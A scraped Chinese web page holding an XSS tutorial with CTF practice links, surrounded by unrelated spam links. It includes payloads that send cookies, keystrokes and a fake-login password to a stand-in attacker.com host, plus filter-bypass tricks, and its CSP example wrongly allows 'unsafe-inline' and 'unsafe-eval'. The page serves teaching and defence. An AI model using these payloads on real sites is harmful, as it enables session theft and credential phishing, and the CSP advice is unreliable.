当前位置: 首页 > news >正文

木材模板.网站策划方案模板

木材模板.网站,策划方案模板,软件技术包括哪些,公司取名字大全免费查询2022文章目录 一、什么是XSS?二、XSS分类与场景三、XSS攻击实战流程四、CTF中的XSS利用五、XSS防御方案六、绕过过滤的常见技巧七、实战练习资源 一、什么是XSS? XSS(Cross-Site Scripting) 是一种通过向网页注入恶意脚本&#xff08…

文章目录

    • 一、什么是XSS?
    • 二、XSS分类与场景
    • 三、XSS攻击实战流程
    • 四、CTF中的XSS利用
    • 五、XSS防御方案
    • 六、绕过过滤的常见技巧
    • 七、实战练习资源

一、什么是XSS?

XSS(Cross-Site Scripting) 是一种通过向网页注入恶意脚本(JavaScript、HTML等),在用户浏览器中执行的攻击方式。攻击者可窃取用户Cookie、会话令牌,甚至控制用户浏览器行为。


二、XSS分类与场景

  1. 存储型XSS(Stored XSS)

    • 特点:恶意脚本永久存储在目标服务器(如评论区、用户资料页)。
    • 影响范围:所有访问受影响页面的用户。
    • 示例
      <script>alert('XSS');</script>  // 提交到评论区,所有用户加载时触发弹窗
      
  2. 反射型XSS(Reflected XSS)

    • 特点:恶意脚本通过URL参数传递,服务端返回时直接嵌入页面。
    • 触发条件:用户需点击构造的恶意链接。
    • 示例
       http://victim.com/search?q=<script>alert(document.cookie)</script>`
      
  3. DOM型XSS(DOM-Based XSS)

    • 特点:漏洞位于客户端JavaScript代码中,不经过服务端处理。

    • 常见场景:通过location.hashdocument.write等动态修改DOM。

    • 示例

      // 假设页面JS代码:document.write(location.hash.substring(1)); 恶意URL:http://victim.com#<img src=x onerror=alert(1)>
      

三、XSS攻击实战流程

目标场景:某博客平台的评论功能存在存储型XSS漏洞。

步骤1:探测注入点

  • 在评论区提交测试Payload:

    <script>alert(1)</script>
    
  • 若页面弹窗,确认漏洞存在。

步骤2:窃取用户Cookie

  • 构造Payload将Cookie发送至攻击者服务器:

    <script>   fetch('http://attacker.com/steal?cookie=' + document.cookie); </script>
    
  • 攻击者服务器(attacker.com)记录窃取的Cookie,用于会话劫持。

步骤3:钓鱼攻击

  • 伪造登录表单诱导用户输入密码:

    <div style="display:none" id="phish">   <form action="http://attacker.com/log" method="POST">     <input type="password" name="password">     <input type="submit" value="Login">   </form> </div> <script>document.getElementById('phish').style.display='block';</script>
    

步骤4:键盘记录

  • 监听用户输入并回传数据:

    <script>document.addEventListener('keypress', (e) => {    fetch('http://attacker.com/keylog?key=' + e.key);  }); </script>
    

四、CTF中的XSS利用

  1. 窃取管理员Cookie获取Flag

    • 题目场景:留言板存在XSS,管理员会查看留言。

    • Payload:

      <script>location.href = 'http://attacker.com/?flag=' + document.cookie; </script>
      
    • 攻击者服务器接收管理员Cookie中的Flag。

  2. DOM型XSS绕过过滤

    • 题目过滤了<script>标签,但允许img标签:

      <img src=x onerror="alert(1)">
      
    • 利用事件处理器(如onerroronload)执行代码。

  3. 利用伪协议

    • 通过javascript:协议触发XSS:

      http://victim.com/profile?name=<a href="javascript:alert(1)">Click</a>
      

五、XSS防御方案

  1. 输入过滤与输出编码

    • 对用户输入的特殊字符(<, >, &, ', ")进行HTML实体编码:

      // PHP示例 
      echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
      
    • 避免直接使用innerHTML,优先使用textContent

  2. 内容安全策略(CSP)

    • 通过HTTP头限制脚本来源:

      Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline' 'unsafe-eval'
      
  3. 设置HttpOnly标志

    • Cookie中标记HttpOnly,防止JavaScript读取:

      Set-Cookie: session=abc123; HttpOnly; Secure
      
  4. 框架自动防护

    • 使用现代前端框架(如React、Vue),默认对动态内容进行转义。

六、绕过过滤的常见技巧

  1. 大小写混淆

    <ScRiPt>alert(1)</sCriPt>
    
  2. 编码绕过

    • HTML实体编码:

      <img src=x onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;">
      
    • JavaScript Unicode编码:

      \u0061\u006c\u0065\u0072\u0074(1)
      
  3. 利用标签属性

    <svg/onload=alert(1)> <iframe src="javascript:alert(1)">
    

七、实战练习资源

  1. PortSwigger XSS Labs
    • 地址:https://portswigger.net/web-security/cross-site-scripting
  2. XSS挑战游戏
    • XSS Game(Google):https://xss-game.appspot.com
  3. CTF平台
    • Hack The Box, CTFlearn中的Web题目。

总结:XSS攻击的核心在于控制用户浏览器执行恶意脚本。防御需结合输入过滤、输出编码、CSP等多层措施。在CTF中,灵活构造Payload并理解上下文过滤规则是解题关键。

http://www.dinnco.com/news/34470.html

相关文章:

  • 二手房网站平台怎么做google store
  • 云服务器可以用来做网站么西安seo霸屏
  • kubernetes wordpress网站内容优化怎么去优化呢
  • mvc5 网站开发美学 pdf鞍山seo优化
  • 免费企业网站管理系统网络营销的特征
  • 不会写代码怎么做网站深圳网站设计
  • 建设云企业服务平台seo网站优化是什么
  • 做网站侵权seo推广营销靠谱
  • 出了阿里巴巴还有什么网站做批发网页搜索排名提升
  • 北京便宜做网站国际外贸网络交易平台
  • 呼和浩特网站制作 建设网络推广工作能长久吗
  • 广元市住房和城乡建设局网站关键词下载
  • 东莞市长安镇做网站简述seo和sem的区别
  • 网站如何做熊掌号并绑定seo技术 快速网站排名
  • wordpress 生成html自助建站seo
  • you物公馆网站建设黑马培训是正规学校吗
  • 做的好的响应式网站重庆seo排名电话
  • 微信网站开发技术seo短视频
  • 重庆购务网站建设域名查询ip138
  • 培训网站html阿里指数网站
  • 免费做计算机题的网站域名解析ip138在线查询
  • 长沙seo优化推荐seo营销外包公司
  • 如何自己做外贸网站百度app怎么找人工客服
  • 哈尔滨网站建设制作肇庆seo外包公司
  • 二维码生成器 制作鄞州seo服务
  • 平台推广网站seo收费标准多少
  • 如何从建设局网站上更换职称人员seo专业课程
  • 优秀的国风网页设计欣赏优化的近义词
  • 佛山网站建设优化企业我要学电脑哪里有短期培训班
  • 如何建设和优化网站seo优化中商品权重主要由什么决定